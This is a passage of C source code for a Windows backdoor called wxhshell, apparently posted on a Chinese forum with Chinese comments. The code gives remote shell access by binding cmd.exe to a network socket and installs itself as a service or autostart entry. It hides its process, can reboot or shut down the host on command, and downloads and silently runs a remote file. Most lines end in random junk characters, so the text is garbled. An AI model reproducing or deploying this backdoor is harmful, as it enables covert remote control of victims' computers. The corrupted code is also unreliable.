  // 帮助 |3/=dG  
  case '?': { [!,&A{.!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D3$PvX[f  
    break; D5Wo e&g,  
  } >y"W(  
  // 安装 m{x[q  
  case 'i': { c^><^LGb  
    if(Install()) "yXKu)_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w<<>XIL  
    else !JzM<hyg3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aB0L]i  
    break; 8s-y+M@.  
    } x5YW6R.<t  
  // 卸载 yhJH3<  
  case 'r': { IP7j)SM!  
    if(Uninstall()) )o;/*h%@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ST5L O#5  
    else B\r2M`N5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? [l[y$9  
    break; R2vT\ 6xv  
    } g(B&A P_e  
  // 显示 wxhshell 所在路径 ExeD3Zj  
  case 'p': { @X+m,u  
    char svExeFile[MAX_PATH]; L15?\|':Y  
    strcpy(svExeFile,"\n\r"); y^zII5|s  
      strcat(svExeFile,ExeFile); 7DDd 1"jE  
        send(wsh,svExeFile,strlen(svExeFile),0); =5/ow!u8  
    break; DDQ}&`s  
    } aUa.!,_dh  
  // 重启 r&oR|-2hRk  
  case 'b': { !TvNT}4Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :7UC=GKQk  
    if(Boot(REBOOT)) z/!LC;(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^\ A[^' 9  
    else { :+NZW9_  
    closesocket(wsh); 3.@"GS#"[  
    ExitThread(0); |a4cER.'2^  
    } |0ATH`{  
    break; 1/+d@s#t  
    } J{;XNf =  
  // 关机 d-c<dS+R  
  case 'd': { })W9=xO~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lC/1,Z/M  
    if(Boot(SHUTDOWN)) 2?P H||  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ )3rc}:1  
    else { 'yxN1JF  
    closesocket(wsh); <}75Xo  
    ExitThread(0); F-AU'o *  
    } c?5?TJpm  
    break; !q\MXS($#u  
    } 5.ibH  
  // 获取shell p0*qv"lA  
  case 's': { }Q $}LR@  
    CmdShell(wsh); V=^B7a.;>  
    closesocket(wsh); G0#<SJ,)  
    ExitThread(0); ! Gob `# r  
    break; YP E1s  
  } OQW%nF9~  
  // 退出 $7h]A$$Fv  
  case 'x': { OfG/7pw5%B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 88Nx/:#Y*  
    CloseIt(wsh); 6/Iq@BZ&  
    break; .~$!BWP  
    } mR["xDHD  
  // 离开 Ft E5H  
  case 'q': { U#V&=~-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u mT *  
    closesocket(wsh); mR|L'[l  
    WSACleanup(); r>: ~!o*  
    exit(1); (1EtC{ m  
    break; ?f}?I`S,  
        } E5aRTDLq  
  } IR2=dQS  
  } O&dBLh!G  
f=k_U[b4>  
  // 提示信息 Ii9[[I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J>l?HK  
} xKR\w!+Z'  
  } l~]D|92  
/KLkrW  
  return; ;,8 )%[  
} Brts ig,4  
+GJPj(S  
// shell模块句柄 80zpRU"  
int CmdShell(SOCKET sock) \q($8<  
{ xa.tH)R  
STARTUPINFO si; 8.,d`~  
ZeroMemory(&si,sizeof(si)); Zg$S% 1(Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ptz## o'{5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fat;5XL@  
PROCESS_INFORMATION ProcessInfo; ;j.-6#n  
char cmdline[]="cmd"; T>f6V 5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -Bl]RpHCe  
  return 0; ]5K+W  
} ?&'Kw>s@  
X%)~i[_DV  
// 自身启动模式 "~=-Q#xO  
int StartFromService(void) nK32or3  
{ $ay!'MK0d  
typedef struct W]oa7VAq  
{ T/A2Y+@N;  
  DWORD ExitStatus; "u]&~$  
  DWORD PebBaseAddress; (i L*1f   
  DWORD AffinityMask; {G0=A~  
  DWORD BasePriority; %ufh  
  ULONG UniqueProcessId; N8pV[\f  
  ULONG InheritedFromUniqueProcessId; pHuR_U5*?  
}   PROCESS_BASIC_INFORMATION; Unv'm5/L  
<#J5.I 1  
PROCNTQSIP NtQueryInformationProcess; Q-<Qm?  
O2\(:tvw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?m5E Xe  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0^R, d M  
0PqI^|!  
  HANDLE             hProcess; s;YbZ*oaMe  
  PROCESS_BASIC_INFORMATION pbi; #M{qMJHDo  
/!2`pv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H0#=oJr$)W  
  if(NULL == hInst ) return 0; 5VP0Xa ~  
`<yQ`Y_X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6F!B*lr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yhYF "~CM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4xEw2F  
a/\{NHs6"5  
  if (!NtQueryInformationProcess) return 0; 'prHXzi(h  
(5 @H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hO&b\#@~  
  if(!hProcess) return 0; OtoM  
oWL_Hh%-f`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?WHf%Ie2(  
QOo'Iv+EL  
  CloseHandle(hProcess); RSe4 lw  
7]xDMu'^&f  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,bXZ<RY$  
if(hProcess==NULL) return 0; MNWI%*0LO  
n'v\2(&uYN  
HMODULE hMod; RzjUrt  
char procName[255]; >P:X\5Oj  
unsigned long cbNeeded; Cp(2]Eb  
Z.Yq)\it  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A$3Rbn}"  
1'\QD`M9^  
  CloseHandle(hProcess); -1,0hmn=+  
IGcq*mR=  
if(strstr(procName,"services")) return 1; // 以服务启动 :${tts2g  
bO2?DszT5  
  return 0; // 注册表启动 Z;Hkx1  
} <;S$4tux  
X}v*"`@Q  
// 主模块 nf0u:M"fm  
int StartWxhshell(LPSTR lpCmdLine) X`KSj N&(  
{ & "&s,  
  SOCKET wsl; w!7ApEH1  
BOOL val=TRUE; E(P 6s;LZ  
  int port=0; b<00 %Z  
  struct sockaddr_in door; yx5e  
]8\I{LR  
  if(wscfg.ws_autoins) Install(); i]%f94  
cjEqN8  
port=atoi(lpCmdLine); 6P1s*u  
:+,;5  
if(port<=0) port=wscfg.ws_port; WR)=VE   
 vmqa_gU\  
  WSADATA data; f+^6.%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #{8I FA  
vFVUdxPOw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   );gY8UL^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v|%41xOsr  
  door.sin_family = AF_INET; R |c=I }@F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xol%\$|  
  door.sin_port = htons(port); m^D'p  
d. wGO]"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r<UVO$N  
closesocket(wsl); UCLM*`M  
return 1; _Je 4&KU  
} 1>J.kQR^  
Sa= tiOv  
  if(listen(wsl,2) == INVALID_SOCKET) { aOzIo-  
closesocket(wsl);  )d2Z g  
return 1; rOSov"7  
} M~:_^B  
  Wxhshell(wsl); <~ smBd  
  WSACleanup(); u\*9\ G  
+0pI}a\  
return 0; b#6S8C+@  
#fuUAbU0X  
} u"v7shRp:  
W0gS>L_  
// 以NT服务方式启动 *dBeb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L/8oqO|  
{ Z.\q$U7'9  
DWORD   status = 0; rnIj pc F  
  DWORD   specificError = 0xfffffff; o :d7IL  
Lw>B:3e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b RR N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nrl?<4 _  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]Ur/DRNS  
  serviceStatus.dwWin32ExitCode     = 0; A,~3oQV  
  serviceStatus.dwServiceSpecificExitCode = 0; V!Wy[u  
  serviceStatus.dwCheckPoint       = 0; "DW~E\Y  
  serviceStatus.dwWaitHint       = 0; 9Dx~! (  
A!lZyG!3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C>Ik ;  
  if (hServiceStatusHandle==0) return; v vErzUxN  
,?GwA@~$k:  
status = GetLastError(); 'Ea3(OsuXn  
  if (status!=NO_ERROR) ,&o9\|ih7]  
{ z9o]);dZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uKJ:)oyaCP  
    serviceStatus.dwCheckPoint       = 0; AzU:Dxr>.G  
    serviceStatus.dwWaitHint       = 0; "hyfo,r  
    serviceStatus.dwWin32ExitCode     = status; ?@"@9na  
    serviceStatus.dwServiceSpecificExitCode = specificError; Id=20og  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l#0zHBc  
    return; C @Ts\);^  
  } 7Jb&~{DVk  
qYoW8e   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0LQRQuh1  
  serviceStatus.dwCheckPoint       = 0; 3p#UEH3  
  serviceStatus.dwWaitHint       = 0;  Q6 *n'6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); : /5+p>Ep}  
}  ^*P?gG  
QYA4C1h'  
// 处理NT服务事件,比如:启动、停止 }u^bTR?3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1]} \h]*  
{ ~A0AB `7  
switch(fdwControl) ZcA"HD%  
{ Ec7xwPk  
case SERVICE_CONTROL_STOP: S]H[&o1o  
  serviceStatus.dwWin32ExitCode = 0; 48p3m) 5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6C$+D  
  serviceStatus.dwCheckPoint   = 0; kHK<~srB  
  serviceStatus.dwWaitHint     = 0; %jAc8~vW?  
  { oCo~,~kTR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P}6#s'07~  
  } IsE&k2 SD  
  return; >Iij,J5i  
case SERVICE_CONTROL_PAUSE: 2 Wcu.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uz8eS'8  
  break; [)`*k#.=  
case SERVICE_CONTROL_CONTINUE: b8a (.}8*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #o&T$D5  
  break; Yte*$cJ=  
case SERVICE_CONTROL_INTERROGATE: QmBHD;Gf  
  break; x.gzsd  
}; (F'~K,0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ceg\lE:8  
} -Ua5anzB  
IiKU =^~w  
// 标准应用程序主函数 y1`%3\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]`-o\,lq  
{ r[E#JHw  
ufR|V-BWx  
// 获取操作系统版本 "4XjABJ4'  
OsIsNt=GetOsVer(); #cR5k@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2 zo>`;l  
65B&>`H~  
  // 从命令行安装 SP0ueAa}  
  if(strpbrk(lpCmdLine,"iI")) Install(); DI{Qs[  
P w6l'  
  // 下载执行文件 &IQNsJL!e  
if(wscfg.ws_downexe) { @>`N%wH'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JNU9RxR  
  WinExec(wscfg.ws_filenam,SW_HIDE); oKRI2ni$j9  
} >>=zkPy  
e23&d  
if(!OsIsNt) { ddYb=L+_b  
// 如果时win9x,隐藏进程并且设置为注册表启动 w^~s4Q_>>  
HideProc(); 6/a%%1c1  
StartWxhshell(lpCmdLine); P EzT|uY  
} uxW |&q  
else ; {m;CKHI  
  if(StartFromService()) jxK `ShW=  
  // 以服务方式启动 }m!T~XR</  
  StartServiceCtrlDispatcher(DispatchTable); {s@&3i?ZiC  
else H1 ev W  
  // 普通方式启动 p3%cb?G%w  
  StartWxhshell(lpCmdLine); L#Ve [  
]<},[s  
return 0; zll?/|%  
}
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只看该作者 1 发表于: 2006-10-10
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